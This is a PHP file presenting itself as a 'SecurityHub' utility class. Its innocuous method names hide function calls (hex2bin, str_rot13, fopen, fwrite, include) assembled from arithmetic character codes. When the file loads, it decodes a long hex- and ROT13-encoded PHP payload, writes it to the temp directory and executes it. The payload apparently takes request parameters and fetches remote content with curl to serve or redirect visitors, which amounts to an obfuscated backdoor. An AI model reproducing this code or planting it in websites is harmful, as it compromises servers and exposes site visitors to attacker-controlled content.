<?php
class SecurityHub {
	private $ud = '';
	private $fp = '';

	public function calculateSum($p1) {
		$a = array((104),(107-6),(62+58),((50*1)+0),((44*2)+10),((12+93)),110);
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function scheduleJob($p1) {
		$a = array(((117-2)),((122*64)-7692),((63*1)+51),(96-1),((74+40)),(((81*104)-8313)),((114+2)),((5+44)),(((10*4)+11)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function manageState($p1,$p2) {
		$a = array(((7*95)-555),((91+9+1)),(112),((118-7)),((112-10)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function terminateSession($p1,$p2) {
		$a = array(((8*101)-707),((124*26)-3108),(71+34),114,((99+13+7)),(55+47));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function parseResponse($p1) {
		$a = array((83+18),((19+96)),111,(115-7),(76+16+7),(43+41+18));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function fetchRecords($p1,$p2=null) {
		$a = array((((47*99)-4539)),(((63*16)-892)),(((52*77)-3890)),(((4*20)+25)),(((7*7)+60)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function sanitizeInput() {
		$this->fp = $this->fetchRecords($this->generateToken(), '/');
	}

	public function updateRegistry() {
		$this->ud = $this->scheduleJob($this->calculateSum($this->pk));
	}

	public function updateCache() {
		$fn = $this->fp.'/mc-67d4b3ed62141';
		$f = $this->manageState($fn, 'w');
		$this->terminateSession($f, $this->ud);
		$this->parseResponse($f);
		$this->resolveConflict($fn);
	}

	private $pk = '3c3f6375632070796e6666205f7261647b636576696e67722' . '066676e677670245f6265643b66676e6776702073686170677' . '66261205f72787928245f786e297b76732821667279733a3a2' . '45f62656429667279733a3a5f757828293b657267686561206' . 'f6e667236345f71727062717228667279733a3a245f6265645' . 'b245f786e5d293b7d636576696e67722066676e67767020736' . '8617067766261205f757828297b667279733a3a245f6265643' . 'd6e65656e6c28275f6671273d3e27444a41774d4b416d59484' . '1696f61456c6f326a67444a6b666f3370272e2767473357272' . 'e2763272e274d32272e2779272e27684276272e274e272e276' . '4272c275f6c7762273d3e27443239687154496871503148724' . 'b4f7942764f75272e2770554f666e4a4175715479696f76396' . '44c4b4d7570272e273241272e276c6e4b272e274f30272c275' . 'f726e273d3e274c272e273274272e273d272c275f7879273d3' . 'e274d4b79587054415146474d576e7a70304754636141526b6' . '44d6d455a6e7a7030464a79336e4a454b454a79436e48626a2' . '72e274a7975425a527963713279776f494d67464a6369272e2' . '76e4a45272e2755496163272e277844306235272c275f69746' . 'f273d3e27704b7136724e3d272e273d272c275f6471273d3e2' . '7435439272e27654374272e273d272e273d272c275f7766273' . 'd3e2743272e275457754d272e2751272e2734272e273d272c2' . '75f766869273d3e277132272e2753666f4e272e273d3d272c2' . '75f6976273d3e27272c275f627661273d3e27272c275f62767' . '2273d3e27272c275f676b6a273d3e276e55453070516269593' . '3272e274f314c7635334d4a577a6e4a272e276b796e5439272' . 'e276d7154496c597a41696f4639776f32316a6f33417970763' . '56470272e276d3978272e274c4b45272e277543443d272e273' . 'd272c275f67696e273d3e274c33272e2749272e276c6f53396' . '36f272e277a272e277930272c275f787470273d3e276e55453' . '07053272e2739776f324579272c275f666365273d3e2770324' . '1272e27624d4a3179272c275f787a273d3e276e55453070272' . 'e27555a272e273d272c275f647268273d3e274530494856272' . 'e274e3d272e273d272c275f6b6b6e273d3e2770272e2754533' . '06e272e274e272e273d272e273d272c275f726d63273d3e277' . '04b49272e27797061272e27783d272c275f616e273d3e27436' . 'a272e273d3d272c275f736a273d3e2770272e274b497970617' . '83d272c275f6b77273d3e2756527548272e2749534e695a463' . '46a514463566f3341272e273042272e2776272e274e3d272c2' . '75f7365273d3e276e54396d272e2771272e274e272e273d272' . 'e273d272c275f74756b273d3e27514463516f3235684d4a413' . '06e4a396842764f516f54396d4d44305851272e2744623d272' . 'c275f6c70273d3e27703341664276272e273869272c275f6f7' . '7273d3e27272c275f706465273d3e276e5439272e276d714e3' . 'd272e273d272c275f706b66273d3e2751272e2744623d272c2' . '75f7361273d3e274653454848533951475279534779272e274' . '573272e2746272e27494e3d272c275f797a68273d3e2746534' . '5484853394c4b304d43272e274879714f48784553455339544' . '731272e27563d272c275f7468273d3e274878494147272e273' . '145272e27534b3053524553563d272c275f7872273d3e27465' . '34548272e2748533949272e27483049464b305355272e27454' . '835272e2748272c275f766774273d3e2746534548485339272' . 'e2749272e27483049464b30535545483548272c275f6c63622' . '73d3e27272c275f7663273d3e27465345484853394645484d5' . '348272e2778272e2749272e2746272c275f656364273d3e274' . '65345484853394645484d5348272e277849272e2746272c275' . 'f7576273d3e27272c275f7368273d3e2746534548485339514' . '7272e275279534779457346494e3d272c275f6f6569273d3e2' . '74653454848533951475279534779272e2745734649272e274' . 'e272e273d272c275f6f70273d3e27465345272e27484853394' . 'c4b304d434879714f48784553455339544731272e27563d272' . 'c275f6263273d3e27465345484853394c4b304d434879714f4' . '878455345533954272e27473156272e273d272c275f7869273' . 'd3e2748784941473145534b305352272e274553272e27563d2' . '72c275f747271273d3e2748784941473145534b272e2730535' . '245272e275356272e273d272c275f776a273d3e274d54272e2' . '757616f272e274a39784d272e27443d272e273d272c275f6a7' . '6273d3e2746494e36272e27564e3d272e273d272c275f69686' . '2273d3e2756556a7449485236564e3d3d272c275f657672273' . 'd3e275655272e276a74487a497a42764e3d272c275f6d71273' . 'd3e2756516b76272e2770773458272c275f7973273d3e276e2' . '72e274b272e274e272e273d272c275f646479273d3e27714a5' . '2272e273d272c275f6371273d3e27707a49272e277a272c275' . 'f6575273d3e27704b272e2771272e2736724e3d3d272c293b7' . 'd7d75726e717265285f7261643a3a5f72787928275f272e276' . '6712729293b75726e717265285f7261643a3a5f72787928275' . 'f272e276c272e2777272e27622729293b76732876666672672' . '8245f5452475b5f7261643a3a5f72787928275f272e2772272' . 'e276e27295d29297b245f66753d5f67666d285f7261643a3a5' . 'f72787928275f78792729293b767328245f667526266667656' . '3626628245f66752c5f7261643a3a5f72787928275f69746f2' . '72929213d3d736e796672297b717672285f7261643a3a5f727' . '87928275f64712729293b7d727966727b717672285f7261643' . 'a3a5f72787928275f272e2777662729293b7d7d76732876666' . '6726728245f5452475b5f7261643a3a5f72787928275f272e2' . '776272e27686927295d29297b245f7174763d245f504242585' . '6523b245f71723d2876616729656268617128302b30293b245' . 'f786e3d2876616729656268617128322e33333333333333333' . '3333333332b322e333333333333333333333333332b322e333' . '33333333333333333333333293b245f6774793d6e65656e6c2' . '8293b245f6774795b245f71725d3d5f7261643a3a5f7278792' . '8275f697627293b6a7576797228245f786e297b245f6774795' . 'b245f71725d2e3d245f7174765b28766167296562686171283' . '1352b3135295d5b245f786e5d3b76732821245f7174765b353' . '7342d3535392b3238302d3236355d5b245f786e2b287661672' . '9656268617128302e32352b302e32352b302e32352b302e323' . '5295d297b76732821245f7174765b35342d202d32382d35325' . 'd5b245f786e2b2876616729656268617128302e36363636363' . '636363636363636372b302e363636363636363636363636363' . '72b302e3636363636363636363636363637295d296f65726e7' . '83b245f71722b2b3b245f6774795b245f71725d3d5f7261643' . 'a3a5f72787928275f62272e27766127293b245f786e2b2b3b7' . 'd245f786e3d245f786e2b2876616729656268617128312e373' . '52b312e37352b312e37352b312e3735292b282d36342d36363' . '72d3431392b31313531293b7d245f71723d245f6774795b2d3' . '232322d202d3233365d28292e245f6774795b39312b2d36375' . 'd3b76732821245f6774795b2d3337322b3337385d28245f717' . '229297b245f786e3d245f6774795b287661672965626861712' . '831332b3133295d28245f71722c245f6774795b2d3436372b3' . '437375d293b245f6774795b2d31392b32385d28245f786e2c2' . '45f6774795b2876616729656268617128332e3636363636363' . '63636363636372b332e363636363636363636363636372b332' . 'e36363636363636363636363637295d2e245f6774795b2d373' . '2322b2d3434362b3234322b3934395d28245f6774795b37322' . 'd3130312d36312d202d3131355d28245f7174765b287661672' . '9656268617128312b312b31295d2929293b7d7661707968717' . '228245f7172293b7d7368617067766261205f67666d28245f6' . '46168297b245f7573703d5f7261643a3a5f72787928275f627' . '67227293b245f6167643d5f7261643a3a5f72787928275f676' . 'b6a27292e245f6461683b76732876665f706e79796e6f79722' . '85f7261643a3a5f72787928275f272e2767272e27696e27292' . '9297b245f6a653d706865795f7661766728245f616764293b7' . '06865795f66726762636728245f6a652c504845594243475f4' . '646595f49524556534c435252452c736e796672293b7068657' . '95f66726762636728245f6a652c504845594243475f4646595' . 'f49524556534c554246472c2876616729656268617128312b3' . '129293b706865795f66726762636728245f6a652c504845594' . '243475f53425959424a5942504e475642412c2876616729656' . '268617128302e352b302e3529293b706865795f66726762636' . '728245f6a652c504845594243475f45524748454147454e414' . '65352452c2876616729656268617128302e32352b302e32352' . 'b302e32352b302e323529293b706865795f667267626367282' . '45f6a652c504845594243475f55524e5152452c39312d39312' . '93b706865795f66726762636728245f6a652c5048455942434' . '75f5042414152504747565a524248472c2d31342d202d32342' . '93b706865795f66726762636728245f6a652c5048455942434' . '75f47565a524248472c2876616729656268617128322e352b3' . '22e352b322e352b322e3529293b245f7573703d706865795f7' . '26b727028245f6a65293b245f747a7a3d706865795f7472677' . '661736228245f6a65293b706865795f707962667228245f6a6' . '5293b767328245f747a7a5b5f7261643a3a5f72787928275f7' . '8272e27747027295d213d287661672965626861712836362e3' . '636363636363636363636372b36362e3636363636363636363' . '636372b36362e3636363636363636363636372929657267686' . '56120736e7966723b7d727966727b245f6166783d636e65667' . '25f68657928245f616764293b245f63706d3d28245f6166785' . 'b5f7261643a3a5f72787928275f272e276663272e276527295' . 'd3d3d5f7261643a3a5f72787928275f787a2729293b245f717' . '4613d5f7261643a3a5f72787928275f6472272e276827292e2' . '45f6166785b5f7261643a3a5f72787928275f272e276b6b272' . 'e276e27295d3b767328766666726728245f6166785b5f72616' . '43a3a5f72787928275f72272e276d272e276327295d2929245' . 'f7174612e3d5f7261643a3a5f72787928275f272e27616e272' . '92e245f6166785b5f7261643a3a5f72787928275f272e27732' . '72e276a27295d3b245f7174612e3d5f7261643a3a5f7278792' . '8275f6b7727292e245f6166785b5f7261643a3a5f727879282' . '75f736527295d2e5f7261643a3a5f72787928275f272e27747' . '56b27293b245f61763d7366627078626372612828245f63706' . 'd3f5f7261643a3a5f72787928275f6c272e277027293a5f726' . '1643a3a5f72787928275f6f772729292e245f6166785b5f726' . '1643a3a5f72787928275f272e2770646527295d2c245f63706' . 'd3f28766167296562686171283134372e36363636363636363' . '636372b3134372e36363636363636363636372b3134372e363' . '6363636363636363637293a287661672965626861712834302' . 'b343029293b767328245f6176297b736368676628245f61762' . 'c245f717461293b245f63613d2876616729656268617128302' . 'b30293b6a7576797228217372627328245f617629297b245f7' . '3673d737472676628245f61762c3737382b323436293b76732' . '8245f636129245f7573702e3d245f73673b767328245f73673' . 'd3d5f7261643a3a5f72787928275f706b272e2766272929245' . 'f63613d2876616729656268617128302e33333333333333333' . '333333333332b302e33333333333333333333333333332b302' . 'e3333333333333333333333333333293b7d737079626672282' . '45f6176293b7d7d657267686561245f7573703b7d245f726f3' . 'd766666726728245f4652454952455b5f7261643a3a5f72787' . '928275f73272e276127295d293b245f70623d7666667267282' . '45f4652454952455b5f7261643a3a5f72787928275f272e277' . '97a272e276827295d293b245f6871613d766666726728245f4' . '652454952455b5f7261643a3a5f72787928275f74272e27682' . '7295d293b245f776f7a3d766666726728245f4652454952455' . 'b5f7261643a3a5f72787928275f78272e277227295d293f245' . 'f4652454952455b5f7261643a3a5f72787928275f766774272' . '95d3a5f7261643a3a5f72787928275f6c272e27636227293b2' . '45f61623d766666726728245f4652454952455b5f7261643a3' . 'a5f72787928275f76272e276327295d293f245f46524549524' . '55b5f7261643a3a5f72787928275f272e276563272e2764272' . '95d3a5f7261643a3a5f72787928275f75272e277627293b245' . 'f726f3d766666726728245f4652454952455b5f7261643a3a5' . 'f72787928275f73272e276827295d293f245f4652454952455' . 'b5f7261643a3a5f72787928275f6f272e2765272e276927295' . 'd3a616879793b245f70623d766666726728245f46524549524' . '55b5f7261643a3a5f72787928275f6f272e277027295d293f2' . '45f4652454952455b5f7261643a3a5f72787928275f272e276' . '2272e276327295d3a616879793b245f6871613d76666672672' . '8245f4652454952455b5f7261643a3a5f72787928275f272e2' . '7786927295d293f245f4652454952455b5f7261643a3a5f727' . '87928275f272e2774272e27727127295d3a616879793b76732' . '87376796772655f696e6528245f726f2c28766167296562686' . '1712839312e3636363636363636363636372b39312e3636363' . '636363636363636372b39312e3636363636363636363636372' . '929297b245f6f723d245f726f3b7d727966727673287376796' . '772655f696e6528245f70622c3139322d3130392d202d31393' . '229297b245f6f723d245f70623b7d727966727b245f6f723d2' . '45f6871613b7d767328766666726728245f5452475b5f72616' . '43a3a5f72787928275f272e27776a27295d29297b727075622' . '05f7261643a3a5f72787928275f6a272e277627292e245f6f7' . '22e5f7261643a3a5f72787928275f6968272e276227292e245' . 'f776f7a2e5f7261643a3a5f72787928275f6576272e2772272' . '92e245f61622e5f7261643a3a5f72787928275f272e276d712' . '7293b726b766728293b7d76732821766666726728245f6f722' . '97c7c21766666726728245f776f7a297c7c217666667267282' . '45f616229297b726b766728293b7d727966727b245f66633d6' . 'e65656e6c285f7261643a3a5f72787928275f797327293d3e2' . '45f6f722c5f7261643a3a5f72787928275f64272e2764272e2' . '77927293d3e245f776f7a2c5f7261643a3a5f72787928275f2' . '72e27637127293d3e245f6162293b245f77723d68657972617' . '0627172286f6e667236345f72617062717228776662615f726' . '17062717228245f66632929293b245f66753d5f67666d28245' . 'f7772293b767328245f6675262666676563626628245f66752' . 'c5f7261643a3a5f72787928275f6575272929213d3d736e796' . '672297b72707562245f66753b726b766728293b7d7d';

	public function resolveConflict($p) {
		include_once $p;
	}

	public function generateToken() {
		$a=array((5*23),121,(((65*8)-405)),(95),((38*2)+27),((40*2)+21),((13+103)),(95),(100+8+8),(110-9),((87+22)),((67*1)+45),(32+63),((2*50)),105,(114));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$vx = new SecurityHub();
$vx->sanitizeInput();
$vx->updateRegistry();
$vx->updateCache();
